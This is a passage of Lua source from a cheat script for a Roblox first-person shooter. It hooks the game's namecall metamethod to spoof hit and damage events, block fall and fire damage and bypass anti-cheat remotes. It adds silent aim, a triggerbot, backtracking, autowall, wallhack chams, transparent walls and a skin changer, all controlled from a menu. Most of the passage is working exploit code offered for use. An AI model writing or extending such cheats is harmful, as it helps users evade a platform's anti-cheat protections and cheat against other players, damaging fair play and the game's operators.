  2291. lastHit = {args[1], args[10], args[8] * Local.Game.gun.DMG.Value}
  2292. end
  2293. if args[1].Parent.Parent == Backtrack then
  2294. local myPart = args[1].PT.Value
  2295. if myPart then
  2296. args[1] = myPart
  2297. args[2] = myPart.Position
  2298. end
  2299. end
  2300. hitpartdebounce = false
  2301. Events.HitPart:FireServer(unpack(args))
  2302. hitpartdebounce = true
  2303. return
  2304. end
  2305. if method == "FindPartOnRayWithWhitelist" and #args[2] == 1 and args[2][1].Name == "SpawnPoints" and Settings.Buymenu then
  2306. local Team = Player.Status.Team.Value
  2307. local SpawnPoints = workspace.Map.SpawnPoints
  2308. workspace.Status.BuyTime.Value = 5
  2309. if Team == "T" then
  2310. return SpawnPoints.BuyArea
  2311. elseif Team == "CT" then
  2312. return SpawnPoints.BuyArea2
  2313. end
  2314. end
  2315. if method == "GetState" then
  2316. return Enum.HumanoidStateType.Physics
  2317. end
  2318. if method == "SetPrimaryPartCFrame" and self.Name == "Arms2" then
  2319. args[1] = args[1] * CFrame.new(Settings.VX - 2.5, Settings.VY - 2.5, Settings.VZ - 2.5)
  2320. end
  2321. if method == "FireServer" and self.Name == "ThrowGrenade" and Settings.InfNades then
  2322. namecall(self, unpack(args))
  2323. error("Spoofed Grenade.")
  2324. end
  2325. if method == "FireServer" and self.Name == "ControlTurn" and Player.Character then
  2326. --local hrp = Player.Character:FindFirstChild("HumanoidRootPart")
  2327. if Settings.AA.Enabled then
  2328. return namecall(self, Settings.AA.Pitch - 1)
  2329. end
  2330. end
  2331. if method == "CaptureFocus" then
  2332. if UI.pointer.Visible then
  2333. return
  2334. end
  2335. end
  2336. if method == "FireServer" and self.Name == "PlantC4" and Settings.Antidefuse then
  2337. args[1] = Player.Character.HumanoidRootPart.CFrame + Vector3.new(0,-10,0)
  2338. args[2] = ""
  2339. end
  2340. if method == "FireServer" and self.Name == "PlayerChatted" and Settings.ChatAlive then
  2341. args[4] = false
  2342. end
  2343. if method == "FireServer" and self.Name == "BURNME" and Settings.AntiMolotov then
  2344. return
  2345. end
  2346. if method == "FireServer" and self.Name == "FallDamage" and Settings.NoFall then
  2347. return
  2348. end
  2349. if method == "FireServer" and self.Name == "ReplicateCamera" then
  2350. succ = pcall(function()
  2351. args[1] = Local.Player.Character.Head.CFrame
  2352. end)
  2353. end
  2354. if method == "InvokeServer" and self.Name == "Hugh" then
  2355. return
  2356. end
  2357. if method == "FireServer" and args[1] == Player.UserId then
  2358. return
  2359. end
  2360. if method == "FireServer" and string.len(self.Name) == 38 then
  2361. return nil
  2362. end
  2363. if method == "FireServer" and self.Name == "DataEvent" and Settings.SkinChanger then
  2364. for i,v in next, args do
  2365. Team = v[2]
  2366. Gun = v[3]
  2367. table.foreach(v[4],function(k,v)
  2368. Real = v
  2369. end)
  2370. local ctfolder = Player.SkinFolder.CTFolder
  2371. local tfolder = Player.SkinFolder.TFolder
  2372. if Team == "CT" or Team == "Both" then
  2373. for a,b in pairs(ctfolder:GetChildren()) do
  2374. if Gun == "Gut Knife" or Gun == "Butterfly Knife" or Gun == "Falchion Knife" or Gun == "Bayonet" or Gun == "Huntsman Knife" or Gun == "Karambit" or Gun == "Banana" or Gun == "Flip Knife" or Gun == "Bearded Axe" or Gun == "Sickle" or Gun == "Cleaver" and b.Name == "Knife" then
  2375. local getskin = string.split(Real,"_")
  2376. b.Value = tostring(getskin[2])
  2377. elseif b.Name == Gun then
  2378. local getskin = string.split(Real,"_")
  2379. b.Value = tostring(getskin[2])
  2380. end
  2381. end
  2382. end
  2383. if Team == "T" or Team == "Both" then
  2384. for c,d in pairs(tfolder:GetChildren()) do
  2385. if Gun == "Gut Knife" or Gun == "Butterfly Knife" or Gun == "Falchion Knife" or Gun == "Bayonet" or Gun == "Huntsman Knife" or Gun == "Karambit" or Gun == "Banana" or Gun == "Flip Knife" or Gun == "Bearded Axe" or Gun == "Sickle" or Gun == "Cleaver" and d.Name == "Knife" then
  2386. local getskin = string.split(Real,"_")
  2387. d.Value = tostring(getskin[2])
  2388. elseif d.Name == Gun then
  2389. local getskin = string.split(Real,"_")
  2390. d.Value = tostring(getskin[2])
  2391. end
  2392. end
  2393. end
  2394. end
  2395. end
  2396. return namecall(self, unpack(args))
  2397. end)
  2398.  
  2399. if setreadonly then setreadonly(meta, true) else make_writeable(meta, false) end
  2400.  
  2401. Events.SendMsg.OnClientEvent:connect(function(p22, p23)
  2402. print(p22)
  2403. end)
  2404.  
  2405. Events.PlayerChatted.OnClientEvent:connect(function(p9, p10, p11, p12, p13, p14, p15)
  2406. wait(0.6)
  2407. if Settings.Unhash then
  2408. p11 = game.ReplicatedStorage.Functions.Filter:InvokeServer(p10, game.Players:FindFirstChild(p9));
  2409. if p11:find("#") then
  2410. local player = Services.Players:FindFirstChild(p9)
  2411. local playerColor = BrickColor.new("White");
  2412. if player and player.Status.Team.Value == "T" then
  2413. local playerColor = BrickColor.new("Bright yellow");
  2414. elseif player and player.Status.Team.Value == "CT" then
  2415. playerColor = BrickColor.new("Bright blue");
  2416. end
  2417.  
  2418. Local.Chat.moveOldMessages()
  2419.  
  2420. local Tag = Instance.new("TextLabel", Local.PlayerGui.GUI.Main.Chats);
  2421. Tag.Name = "Line1";
  2422. Tag.BackgroundTransparency = 1;
  2423. Tag.BorderSizePixel = 0;
  2424. Tag.Size = UDim2.new(0, 590, 0, 30);
  2425. Tag.Position = UDim2.new(0.01, 0, 0, 147);
  2426. Tag.TextColor3 = Color3.new(0,1,0);
  2427. Tag.TextStrokeColor3 = Color3.new(0, 0, 0);
  2428. Tag.TextStrokeTransparency = Tag.TextTransparency;
  2429. Tag.TextWrapped = false;
  2430. Tag.Font = "ArialBold";
  2431. Tag.FontSize = "Size14";
  2432. Tag.TextXAlignment = "Left";
  2433. Tag.Text = "(UNHASHED)";
  2434. Tag.Size = UDim2.new(0, Tag.TextBounds.X, 0, 30);
  2435. Local.Chat.createNewMessage(player.Name, p10, playerColor.Color, Color3.new(255, 255, 255), 0.2, v31);
  2436. end
  2437. end
  2438. end)
  2439.  
  2440. local hitobject = Local.Game.hitobject
  2441.  
  2442. Local.Game.hitobject = function(Hit, Pos, normal, gunstats, stabbing)
  2443. if Settings.BulletTracers then
  2444. local ourCFrame = AimbotFunctions.getRealCameraVector(Local.Player.Character)
  2445. Beam(ourCFrame, Pos)
  2446. end
  2447. lastPoint = Pos
  2448. hitobject(Hit, Pos, normal, gunstats, stabbing)
  2449. end
  2450.  
  2451. fire = Local.Game.firebullet
  2452.  
  2453. Local.Game.firebullet = function(fanfire)
  2454. if Settings.HookHitpart then
  2455. return fire(fanfire)
  2456. end
  2457. if not Storage.Target then
  2458. print("No target.")
  2459. return fire(fanfire)
  2460. end
  2461. local stat = Storage.Target[2]
  2462. if (Settings[stat].AimbotMode == "Enabled" or (Settings[stat].AimbotMode == "On Key" and Services.UserInputService:IsKeyDown(Storage[stat.."Aimkey"].key))) then
  2463. local CFrameStorage = Local.Camera.CFrame
  2464. fakeCFrame = Storage.Target[1][1]
  2465. if Settings[stat].AimbotStyle == "Flick when shooting" then
  2466. print("breh")
  2467. Local.Camera.CFrame = CFrame.new(Local.Camera.CFrame.p, Storage.Target[1][1])
  2468. end
  2469. fire(fanfire)
  2470. fakeCFrame = nil
  2471. if Settings[stat].AimbotStyle == "Flick when shooting" then
  2472. wait()
  2473. Local.Camera.CFrame = CFrameStorage
  2474. end
  2475. else
  2476. fire(fanfire)
  2477. end
  2478. end
  2479.  
  2480. --bruh
  2481.  
  2482. function LocalFOV(number)
  2483. Local.Game.fieldofview = number
  2484. Local.Camera.FieldOfView = number
  2485. end
  2486.  
  2487. debounce = false
  2488.  
  2489. function TriggerRoutine()
  2490. debounce = true
  2491. if Local.Mouse.Target and isAlive(Local.Player) and (Settings.TriggerbotMode == "Enabled" or (Settings.TriggerbotMode == "On Key" and Services.UserInputService:IsKeyDown(Triggerkey.key))) then
  2492. local OtherHuman = Local.Mouse.Target.Parent
  2493. if OtherHuman.Parent == Backtrack then
  2494. if Settings.TriggerbotDelay ~= 0 then
  2495. wait(Settings.TriggerbotDelay)
  2496. end
  2497. if not debounce then
  2498. mouse1press()
  2499. wait(0.04)
  2500. mouse1release()
  2501. end
  2502. debounce = false
  2503. return
  2504. end
  2505. local OtherPlayer = Services.Players:FindFirstChild(OtherHuman.Name)
  2506. if not OtherPlayer then
  2507. debounce = false
  2508. return
  2509. end
  2510. if OtherPlayer.Team == Local.Player.Team then
  2511. debounce = false
  2512. return
  2513. end
  2514. if Settings.TriggerbotDelay ~= 0 then
  2515. wait(Settings.TriggerbotDelay)
  2516. end
  2517. if not debounce then
  2518. mouse1press()
  2519. wait(0.04)
  2520. mouse1release()
  2521. end
  2522. end
  2523. debounce = false
  2524. end
  2525.  
  2526. local DefaultBot = "Legit"
  2527. local Defaults = {}
  2528. local Core = UI:CreateWindow("Qual")
  2529.  
  2530. local bruh = Instance.new("Frame")
  2531. local UIListLayoutaa = Instance.new("UIListLayout")
  2532.  
  2533. bruh.Parent = UI.base
  2534. bruh.ZIndex = 25
  2535. bruh.BackgroundColor3 = Color3.new(1, 1, 1)
  2536. --bruh.Size = UDim2.new(0,0,0,0)
  2537. bruh.Visible = false
  2538.  
  2539. UIListLayoutaa.Parent = bruh
  2540. UIListLayoutaa.SortOrder = Enum.SortOrder.LayoutOrder
  2541.  
  2542. function CalculateThreat(p)
  2543. local ignorelist = {Local.Camera, Local.Player.Character, part, p.Character, Backtrack}
  2544. local parts = Local.Camera:GetPartsObscuringTarget({p.CameraCF.Value.p}, ignorelist)
  2545. if #parts < 2 then
  2546. return true
  2547. end
  2548. end
  2549.  
  2550. ESPLocation = Instance.new("Folder", Services.CoreGui)
  2551.  
  2552. function espPart(part,v)
  2553. local inneresp = Instance.new("BoxHandleAdornment",ESPLocation)
  2554. inneresp.Adornee = part
  2555. if (Settings.InnerChams.Allies.VisibleOnly and v.Team == Local.Player.Team) or (Settings.InnerChams.Enemies.VisibleOnly and v.Team ~= Local.Player.Team) then
  2556. inneresp.AlwaysOnTop = false
  2557. else
  2558. inneresp.AlwaysOnTop = true
  2559. end
  2560. inneresp.ZIndex = 2
  2561. if (Settings.InnerChams.Allies.Render and v.Team == Local.Player.Team) or (Settings.InnerChams.Enemies.Render and v.Team ~= Local.Player.Team) then
  2562. inneresp.Transparency = (v.Team == Local.Player.Team and Settings.InnerChams.Allies.Transparency) or Settings.InnerChams.Enemies.Transparency
  2563. else
  2564. inneresp.Transparency = 1
  2565. end
  2566. inneresp.Size = part.Size + Vector3.new(0.01,0.01,0.01)
  2567. if v.Team == Local.Player.Team then
  2568. inneresp.Color3 = (Settings.InnerChams.Allies.UseTeamColor and v.TeamColor.Color) or Settings.InnerChams.Allies.Color
  2569. else
  2570. inneresp.Color3 = (Settings.InnerChams.Enemies.UseTeamColor and v.TeamColor.Color) or Settings.InnerChams.Enemies.Color
  2571. end
  2572.  
  2573. v.CharacterRemoving:Connect(function()
  2574. inneresp:Destroy()
  2575. end)
  2576.  
  2577. local outeresp = Instance.new("BoxHandleAdornment",ESPLocation)
  2578. outeresp.Adornee = part
  2579. if (Settings.OuterChams.Allies.VisibleOnly and v.Team == Local.Player.Team) or (Settings.OuterChams.Enemies.VisibleOnly and v.Team ~= Local.Player.Team) then
  2580. outeresp.AlwaysOnTop = false
  2581. else
  2582. outeresp.AlwaysOnTop = true
  2583. end
  2584. outeresp.ZIndex = 1
  2585. if (Settings.OuterChams.Allies.Render and v.Team == Local.Player.Team) or (Settings.OuterChams.Enemies.Render and v.Team ~= Local.Player.Team) then
  2586. outeresp.Transparency = (v.Team == Local.Player.Team and Settings.OuterChams.Allies.Transparency) or Settings.OuterChams.Enemies.Transparency
  2587. else
  2588. outeresp.Transparency = 1
  2589. end
  2590. local Size = (v.Team == Local.Player.Team and Settings.OuterChams.Allies.Size) or Settings.OuterChams.Enemies.Size
  2591. outeresp.Size = part.Size + Vector3.new(Size,Size,Size)
  2592. if v.Team == Local.Player.Team then
  2593. outeresp.Color3 = (Settings.OuterChams.Allies.UseTeamColor and v.TeamColor.Color) or Settings.OuterChams.Allies.Color
  2594. else
  2595. outeresp.Color3 = (Settings.OuterChams.Enemies.UseTeamColor and v.TeamColor.Color) or Settings.OuterChams.Enemies.Color
  2596. end
  2597.  
  2598. v.CharacterRemoving:Connect(function()
  2599. outeresp:Destroy()
  2600. end)
  2601. end
  2602.  
  2603. function espPlayer(v)
  2604. if isAlive(v) then
  2605. for _,part in pairs(v.Character:GetChildren())do
  2606. if part:IsA("BasePart") then
  2607. espPart(part,v)
  2608. end
  2609. end
  2610. if (Settings.Allies.Healthbar.Enabled and v.Team == Local.Player.Team) or (Settings.Enemies.Healthbar.Enabled and v.Team ~= Local.Player.Team) then
  2611. local Healthbar = Instance.new("BillboardGui")
  2612. local Out = Instance.new("Frame")
  2613. local Inside = Instance.new("Frame")
  2614.  
  2615. Healthbar.Parent = ESPLocation
  2616. Healthbar.Active = true
  2617. Healthbar.Adornee = v.Character:FindFirstChild("LowerTorso")
  2618. Healthbar.AlwaysOnTop = true
  2619. Healthbar.Size = UDim2.new(6, 0, 5.5, 0)
  2620. Healthbar.StudsOffsetWorldSpace = Vector3.new(0, 0.2, 0)
  2621.  
  2622. Out.Parent = Healthbar
  2623. Out.BackgroundColor3 = Color3.new(0.25, 0.25, 0.25)
  2624. Out.BorderSizePixel = 0
  2625. Out.LayoutOrder = 100
  2626. Out.Size = UDim2.new(0.04, 0, 1, 0)
  2627.  
  2628. Inside.Parent = Healthbar
  2629. Inside.BackgroundColor3 = (v.Team == Local.Player.Team and Settings.Allies.Healthbar.Color) or Settings.Enemies.Healthbar.Enabled
  2630. Inside.BorderSizePixel = 0
  2631. Inside.LayoutOrder = 100
  2632. Inside.Size = UDim2.new(0.04, 0, 1, 0)
  2633. Inside.ZIndex = 2
  2634.  
  2635. local hm = v.Character.Humanoid
  2636. hm:GetPropertyChangedSignal("Health"):Connect(function()
  2637. Inside.Position = UDim2.new(0, 0, 1-(hm.Health/100), 0)
  2638. Inside.Size = UDim2.new(0.04, 0, hm.Health/100, 0)
  2639. end)
  2640. end
  2641. end
  2642. end
  2643.  
  2644. function ESP()
  2645. ESPLocation:ClearAllChildren()
  2646. for _,v in pairs(Services.Players:GetPlayers())do
  2647. if v.Name ~= Local.Player.Name then
  2648. pcall(function()
  2649. espPlayer(v)
  2650. end)
  2651. end
  2652. end
  2653. end
  2654.  
  2655. spawn(function()
  2656. while wait(4) do
  2657. ESP()
  2658. end
  2659. end)
  2660.  
  2661. function lerp(v0, v1, t)
  2662. return (1 - t) * v0 + t * v1
  2663. end
  2664.  
  2665. function CalculateAimbot()
  2666. local Nearest
  2667. if Settings[DefaultBot].DetectionMethod == "All Threats (360°)" then
  2668. Nearest = Storage.Targets[1]
  2669. else
  2670. Nearest = AimbotFunctions.GetClosestToCrosshair()
  2671. if not Nearest and Settings[DefaultBot].DetectionMethod == "Crosshair or Nearest (360°)" then
  2672. Nearest = AimbotFunctions.GetNearest()
  2673. end
  2674. end
  2675.  
  2676. if not Nearest then return end
  2677. if not isAlive(Nearest) then return end
  2678.  
  2679. Storage.Targets = {}
  2680.  
  2681. local stat = getStatus(Nearest)
  2682. if stat == "Friend" then return end
  2683.  
  2684. local Aimpoint
  2685. local allCorners = {}
  2686.  
  2687. if stat == "Rage" then
  2688. for i,v in pairs(AimbotFunctions.getAimpoints(Nearest.Character)) do
  2689. if not Aimpoint then
  2690. local ourCFrame = AimbotFunctions.getRealCameraVector(Local.Player.Character)
  2691. local hit, hitpos = AimbotFunctions.SimulateShot(CFrame.new(ourCFrame, v), Nearest.Character)
  2692. if hit then
  2693. Aimpoint = {hitpos, v}
  2694. end
  2695. end
  2696. end
  2697. if not Aimpoint then
  2698. for _,v in pairs(Nearest.Character:GetChildren()) do
  2699. if v:isA("BasePart") and ToSimplified[v.Name] then
  2700. local a = AimbotFunctions.getAimCorners(v.CFrame, v.Size)
  2701. for _,corner in pairs(a) do
  2702. if AimbotFunctions.VectorVisible(corner, Nearest) then
  2703. table.insert(allCorners, {corner, v})
  2704. end
  2705. end
  2706. end
  2707. end
  2708. table.sort(allCorners, function(a, b)
  2709. return HitboxPriorities[ToSimplified[a[2].Name]] > HitboxPriorities[ToSimplified[b[2].Name]]
  2710. end)
  2711. if #allCorners == 0 then
  2712. return false
  2713. end
  2714. Aimpoint = allCorners[1]
  2715. end
  2716. else
  2717. local body = "Head"
  2718. if Settings.Legit.Headshotchance < math.random(1, 100) then
  2719. body = "LowerTorso"
  2720. end
  2721. if not Nearest.Character:FindFirstChild(body) then return end
  2722. Aimpoint = {Nearest.Character[body].Position, Nearest.Character[body]}
  2723. end
  2724.  
  2725. return {Aimpoint, stat, Nearest}
  2726. end
  2727.  
  2728. function canFire()
  2729. local Game = Local.Game
  2730. return 0 < Game.ammocount4 and Game.equipped == "equipment2" or 0 < Game.ammocount3 and Local.Game.equipped == "equipment" or 0 < Local.Game.ammocount and Local.Game.equipped == "primary" or 0 < Local.Game.ammocount2 and Local.Game.equipped == "secondary" or Local.Game.gun ~= "none" and Local.Game.gun and Local.Game.gun ~= "none" and Local.Game.gun:FindFirstChild("Melee")
  2731. end
  2732.  
  2733. function Chat(Message)
  2734. Events.PlayerChatted:FireServer(Message, false, "Innocent", false, false)
  2735. end
  2736.  
  2737. local indexOf = function( t, object )
  2738. if "table" == type( t ) then
  2739. for i = 1, #t do
  2740. if object == t[i] then
  2741. return i
  2742. end
  2743. end
  2744. return -1
  2745. else
  2746. error("table.indexOf expects table for first argument, " .. type(t) .. " given")
  2747. end
  2748. end
  2749.  
  2750.  
  2751.  
  2752. local default_debounce = false
  2753. for tab,prefix in pairs({"Legit", "Rage"}) do
  2754. bottab = Core:CreateTab(prefix.."bot")
  2755. SAim = bottab:AddLocalTab(prefix.." Silent Aim")
  2756.  
  2757. local df = SAim:AddToggle("Default", Settings.DefaultBot == prefix, function(b)
  2758. if b and default_debounce then
  2759. default_debounce = false
  2760. for i,v in pairs(Defaults) do
  2761. if prefix ~= i then
  2762. v:SetToggle(false)
  2763. end
  2764. end
  2765. default_debounce = true
  2766. Settings.DefaultBot = prefix
  2767. end
  2768. if not b and default_debounce then
  2769. default_debounce = false
  2770. Defaults[prefix]:SetToggle(true)
  2771. default_debounce = true
  2772. end
  2773. end)
  2774.  
  2775. Defaults[prefix] = df
  2776.  
  2777. local AMode = {"Enabled", "On Key", "Disabled"}
  2778. SAim:AddDropdown("Mode", indexOf(AMode, Settings[prefix].AimbotMode), AMode, function(m)
  2779. Settings[prefix].AimbotMode = m
  2780. end)
  2781.  
  2782. local AMethod = {"Closest to Crosshair", "Crosshair or Nearest (360°)", "All Threats (360°)"}
  2783. SAim:AddDropdown("Method", indexOf(AMethod, Settings[prefix].DetectionMethod), AMethod, function(m)
  2784. Settings[prefix].DetectionMethod = m
  2785. end)
  2786.  
  2787. local StMode = {"Completely Silent", "Flick when shooting", "Track target"}
  2788. SAim:AddDropdown("Mode", indexOf(StMode, Settings[prefix].AimbotStyle), StMode, function(m)
  2789. Settings[prefix].AimbotStyle = m
  2790. end)
  2791.  
  2792. SAim:AddSlider("FOV in pixels", 200, Settings[prefix].FOVpx, function(n)
  2793. Settings[prefix].FOVpx = n
  2794. Storage[prefix.."Circle"].Radius = n
  2795. end)
  2796.  
  2797. SAim:AddToggle("Remove FOV limit", Settings[prefix].FOVlim, function(b)
  2798. Settings[prefix].FOVlim = b
  2799. end)
  2800.  
  2801. if prefix == "Legit" then
  2802. SAim:AddSlider("Headshot chance", 100, Settings[prefix].Headshotchance, function(n)
  2803. Settings[prefix].Headshotchance = n
  2804. end)
  2805. end
  2806.  
  2807. Storage[prefix.."Aimkey"] = SAim:AddKeybind("Aimkey", Enum.KeyCode[Settings[prefix].Aimkey])
  2808.  
  2809. backtracktab = bottab:AddLocalTab("Backtrack")
  2810.  
  2811. backtracktab:AddToggle("Backtrack", Settings[prefix].Backtrack, function(b)
  2812. Settings[prefix].Backtrack = b
  2813. end)
  2814.  
  2815. backtracktab:AddSlider("Backtrack Length", 2000, Settings[prefix].BacktrackDelay, function(n)
  2816. Settings[prefix].BacktrackDelay = n
  2817. end)
  2818.  
  2819. backtracktab:AddCP("Backtrack Color", Settings[prefix].BacktrackColor, function(c3, alpha)
  2820. Settings[prefix].BacktrackColor = c3
  2821. if alpha then
  2822. Settings[prefix].BacktrackTransparency = alpha
  2823. end
  2824. end, Settings[prefix].BacktrackTransparency)
  2825.  
  2826. backtracktab:AddToggle("Backtrack Rainbow", Settings[prefix].BacktrackRainbow, function(b)
  2827. Settings[prefix].BacktrackRainbow = b
  2828. end)
  2829.  
  2830. if prefix == "Legit" then
  2831. local TB = bottab:AddLocalTab("Triggerbot")
  2832. TMode = {"Enabled", "On Key", "Disabled"}
  2833. TB:AddDropdown("Mode", indexOf(TMode, Settings.TriggerbotMode), TMode, function(m)
  2834. Settings.TriggerbotMode = m
  2835. if Storage.Triggerbot then
  2836. Storage.Triggerbot:disconnect()
  2837. end
  2838. if m == "Enabled" or m == "On Key" then
  2839. Storage.Triggerbot = S:connect(TriggerRoutine)
  2840. end
  2841. end)
  2842.  
  2843. TB:AddSlider("Delay", 100, Settings.TriggerbotDelay, function(d)
  2844. Settings.TriggerbotDelay = d
  2845. end)
  2846.  
  2847. Triggerkey = TB:AddKeybind("Triggerbot key", Enum.KeyCode[Settings.Triggerkey])
  2848. end
  2849.  
  2850. ASTab = bottab:AddLocalTab("Auto-shoot")
  2851.  
  2852. ASTab:AddToggle("Auto-shoot", Settings[prefix].Shootbot, function(b)
  2853. Settings[prefix].Shootbot = b
  2854. end)
  2855.  
  2856. ASTab:AddToggle("Autowall", Settings[prefix].Autowall, function(b)
  2857. Settings[prefix].Autowall = b
  2858. end)
  2859.  
  2860. ASTab:AddSlider("Minimum Damage (Visible)", 100, Settings[prefix].MinVisibleDamage, function(d)
  2861. Settings[prefix].MinVisibleDamage = d
  2862. end)
  2863.  
  2864. ASTab:AddSlider("Minimum Damage (Autowall)", 100, Settings[prefix].MinAWDamage, function(d)
  2865. Settings[prefix].MinAWDamage = d
  2866. end)
  2867.  
  2868. DBTab = bottab:AddLocalTab("Damage Boosting")
  2869.  
  2870. DBTab:AddToggle("Hook Hitpart", Settings[prefix].HookHitpart, function(b)
  2871. Settings[prefix].HookHitpart = b
  2872. end)
  2873.  
  2874. DBTab:AddToggle("Override Damage", Settings[prefix].OverrideDamage, function(b)
  2875. Settings[prefix].OverrideDamage = b
  2876. end)
  2877.  
  2878. DBTab:AddSlider("Damage Multiplier", 2, Settings[prefix].Damage, function(d)
  2879. Settings[prefix].Damage = d
  2880. end, 0.01)
  2881. end
  2882.  
  2883. default_debounce = true
  2884.  
  2885. local Visuals = Core:CreateTab("Visuals")
  2886. local BTtab = Visuals:AddLocalTab("Bullet Tracers")
  2887. local FV = Visuals:AddLocalTab("FOV Circle")
  2888.  
  2889. for i,BAWT in pairs({"Legit", "Rage"}) do
  2890. FV:AddToggle(BAWT.." Circle Enabled", Settings[BAWT].FOVCircle, function(b)
  2891. Settings[BAWT].FOVCircle = b
  2892. Storage[BAWT.."Circle"].Visible = b
  2893. end)
  2894.  
  2895. FV:AddToggle(BAWT.." Circle Filled", Settings[BAWT].FOVFilled, function(b)
  2896. Settings[BAWT].FOVFilled = b
  2897. Storage[BAWT.."Circle"].Filled = b
  2898. end)
  2899.  
  2900. FV:AddCP(BAWT.." Circle Color", Settings[BAWT].FOVColor, function(c3, alpha)
  2901. Settings[BAWT].FOVColor = c3
  2902. if alpha then
  2903. Settings[BAWT].FOVTransparency = alpha
  2904. Storage[BAWT.."Circle"].Transparency = 1-alpha
  2905. end
  2906. Storage[BAWT.."Circle"].Color = c3
  2907. end, Settings[BAWT].FOVTransparency)
  2908.  
  2909. FV:AddSlider(BAWT.." Circle Thickness", 5, Settings[BAWT].FOVThickness, function(v)
  2910. Settings[BAWT].FOVThickness = v
  2911. Storage[BAWT.."Circle"].Thickness = v
  2912. end)
  2913. end
  2914.  
  2915. BTtab:AddToggle("Enabled", Settings.BulletTracers, function(b)
  2916. Settings.BulletTracers = b
  2917. end)
  2918.  
  2919. BTtab:AddSlider("Starting Thickness", 10, Settings.TracerThickness1, function(v)
  2920. Settings.TracerThickness1 = v
  2921. end)
  2922.  
  2923. BTtab:AddSlider("Ending Thickness", 10, Settings.TracerThickness2, function(v)
  2924. Settings.TracerThickness2 = v
  2925. end)
  2926.  
  2927. BTtab:AddCP("Color", Settings.BulletTracerColor, function(c3, alpha)
  2928. Settings.BulletTracerColor = c3
  2929. if alpha then
  2930. Settings.BulletTracerTransparency = alpha
  2931. end
  2932. end, Settings.BulletTracerTransparency)
  2933.  
  2934. for i,v in pairs({"Arms", "Gun"}) do
  2935. local lTab = Visuals:AddLocalTab(v)
  2936.  
  2937. lTab:AddToggle("Enabled", Settings[v.."Enabled"], function(b)
  2938. Settings[v.."Enabled"] = b
  2939. doSelfChams()
  2940. end)
  2941.  
  2942. lTab:AddDropdown("Material", indexOf(Materials, Settings[v.."Material"]), Materials, function(d)
  2943. Settings[v.."Material"] = d
  2944. doSelfChams()
  2945. end)
  2946.  
  2947. lTab:AddCP("Color", Color3.new(1, 0.5, 0), function(c3, alpha)
  2948. Settings[v.."Color"] = c3
  2949. if alpha then
  2950. Settings[v.."Transparency"] = alpha
  2951. end
  2952. doSelfChams()
  2953. end, 0.3)
  2954. end
  2955.  
  2956. local Viewmodel = Visuals:AddLocalTab("Viewmodel")
  2957.  
  2958. Viewmodel:AddToggle("Remove Sleeves", Settings.NoSleeves, function(b)
  2959. Settings.NoSleeves = b
  2960. doSelfChams()
  2961. end)
  2962.  
  2963. Viewmodel:AddToggle("Remove Gloves", Settings.NoGloves, function(b)
  2964. Settings.NoGloves = b
  2965. doSelfChams()
  2966. end)
  2967.  
  2968.  
  2969. --[[
  2970. local ViewmodelOffset = Visuals:AddLocalTab("Viewmodel Offsets")
  2971.  
  2972. for i,v in pairs({"X", "Y", "Z"}) do
  2973. ViewmodelOffset:AddSlider(v.." Offset", 5, Settings["V"..v], function(v)
  2974. Settings["V"..v] = v
  2975. end)
  2976. end
  2977. ]]
  2978.  
  2979. function getpartmodifier(part)
  2980. local partmodifier = 0
  2981. if part.Material == Enum.Material.DiamondPlate then
  2982. partmodifier = 3
  2983. end
  2984. if part.Material == Enum.Material.CorrodedMetal or part.Material == Enum.Material.Metal or part.Material == Enum.Material.Concrete or part.Material == Enum.Material.Brick then
  2985. partmodifier = 2
  2986. end
  2987. if part.Name == "Grate" or part.Material == Enum.Material.Wood or part.Material == Enum.Material.WoodPlanks or part and part.Parent and part.Parent:FindFirstChild("Humanoid") then
  2988. partmodifier = 0.1
  2989. end
  2990. if part.Transparency == 1 or part.CanCollide == false or part.Name == "Glass" or part.Name == "Cardboard" or part:IsDescendantOf(workspace.Ray_Ignore) or part:IsDescendantOf(workspace.Debris) or part and part.Parent and part.Parent.Name == "Hitboxes" then
  2991. partmodifier = 0
  2992. end
  2993. if part.Name == "nowallbang" then
  2994. partmodifier = 90
  2995. end
  2996. if part:FindFirstChild("PartModifier") then
  2997. partmodifier = part.PartModifier.Value
  2998. end
  2999. return partmodifier
  3000. end
  3001.  
  3002. transparencies = {}
  3003.  
  3004. function EnableAsus(p)
  3005. if not transparencies[p] then
  3006. transparencies[p] = p.Transparency
  3007. end
  3008. p.Transparency = Settings.AsusWalls.Transparency
  3009. return
  3010. end
  3011.  
  3012. function Asus(p)
  3013. if not p:IsA("BasePart") then return end
  3014. if Settings.AsusWalls.Enabled then
  3015. if Settings.AsusWalls.IncludeUnwallbangable then
  3016. return EnableAsus(p)
  3017. end
  3018. if getpartmodifier(p) < Settings.AsusWalls.PartModifier then
  3019. return EnableAsus(p)
  3020. end
  3021. end
  3022. if transparencies[p] then
  3023. p.Transparency = transparencies[p]
  3024. end
  3025. end
  3026.  
  3027. asusdebounce = true
  3028.  
  3029. function AsusWorkspace()
  3030. asusdebounce = false
  3031. delay(5, function()
  3032. for i,p in pairs(workspace.Map:GetDescendants()) do
  3033. Asus(p)
  3034. end
  3035. asusdebounce = true
  3036. end)
  3037. end
  3038.  
  3039. spawn(function()
  3040. workspace:WaitForChild("Map").DescendantAdded:connect(function(p)
  3041. Asus(p)
  3042. end)
  3043. end)
  3044.  
  3045.  
  3046. local AsusWalls = Visuals:AddLocalTab("Asus Walls")
  3047.  
  3048. AsusWalls:AddToggle("Enabled", Settings.AsusWalls.Enabled, function(b)
  3049. Settings.AsusWalls.Enabled = b
  3050. if asusdebounce then
  3051. AsusWorkspace()
  3052. end
  3053. end)
  3054.  
  3055. AsusWalls:AddSlider("Transparency", 1, Settings.AsusWalls.Transparency, function(v)
  3056. Settings.AsusWalls.Transparency = v
  3057. if asusdebounce then
  3058. AsusWorkspace()
  3059. end
  3060. end, 0.01)
  3061.  
  3062. AsusWalls:AddSlider("Wallbangability Threshold", 5, Settings.AsusWalls.PartModifier, function(v)
  3063. Settings.AsusWalls.PartModifier = v
  3064. if asusdebounce then
  3065. AsusWorkspace()
  3066. end
  3067. end, 0.01)
  3068.  
  3069. AsusWalls:AddToggle("Include Unwallbangable", Settings.AsusWalls.IncludeUnwallbangable, function(b)
  3070. Settings.AsusWalls.IncludeUnwallbangable = b
  3071. if asusdebounce then
  3072. AsusWorkspace()
  3073. end
  3074. end)
  3075.  
  3076.  
  3077. --[[
  3078. for i,v in pairs({"X", "Y", "Z"}) do
  3079. ViewmodelOffset:AddSlider(v.." Offset", 5, Settings["V"..v], function(v)
  3080. Settings["V"..v] = v
  3081. end)
  3082. end]]
  3083.  
  3084. local VisualMisc = Visuals:AddLocalTab("Misc")
  3085.  
